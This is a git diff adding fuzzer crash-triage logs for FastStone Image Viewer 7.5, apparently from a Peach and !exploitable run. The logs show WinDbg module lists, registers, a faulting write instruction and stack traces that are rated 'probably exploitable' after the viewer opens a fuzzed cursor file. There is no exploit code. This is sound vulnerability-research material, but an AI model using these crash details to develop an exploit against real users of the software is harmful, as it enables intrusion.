+STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3384/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3384/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..53428ad Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3384/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3403/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3403/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3403/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3403/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3403/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c7d5c40 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3403/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3403/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3403/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..4294beb --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3403/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,190 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll +Page heap: pid 0x14F8: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x14F8: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`71bf0000 00000000`71cb6000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`71bb0000 00000000`71be2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b90000 00000000`71bab000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`719c0000 00000000`719e2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71990000 00000000`719b4000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`719f0000 00000000`71b89000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71970000 00000000`71989000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`71940000 00000000`71963000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001f3000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(14f8.f58): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=081055f0 edx=00000000 esi=00000000 edi=0d454fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.839563293643654240000e+0017 +st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 2.539999999999999999970e+0000 st7= 8.506050000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=8.84274e-013 4.08383e+029 -2.9974e+034 3.7612e-017 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 081e8130 08165930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 00245000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 00245000 613c583b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0e0 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00245000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3403/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3403/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..4294beb --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3403/WindowsDebugEngine_description.txt @@ -0,0 +1,190 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll +Page heap: pid 0x14F8: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x14F8: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`71bf0000 00000000`71cb6000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`71bb0000 00000000`71be2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b90000 00000000`71bab000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`719c0000 00000000`719e2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71990000 00000000`719b4000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`719f0000 00000000`71b89000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71970000 00000000`71989000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`71940000 00000000`71963000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001f3000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(14f8.f58): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=081055f0 edx=00000000 esi=00000000 edi=0d454fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.839563293643654240000e+0017 +st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 2.539999999999999999970e+0000 st7= 8.506050000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=8.84274e-013 4.08383e+029 -2.9974e+034 3.7612e-017 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 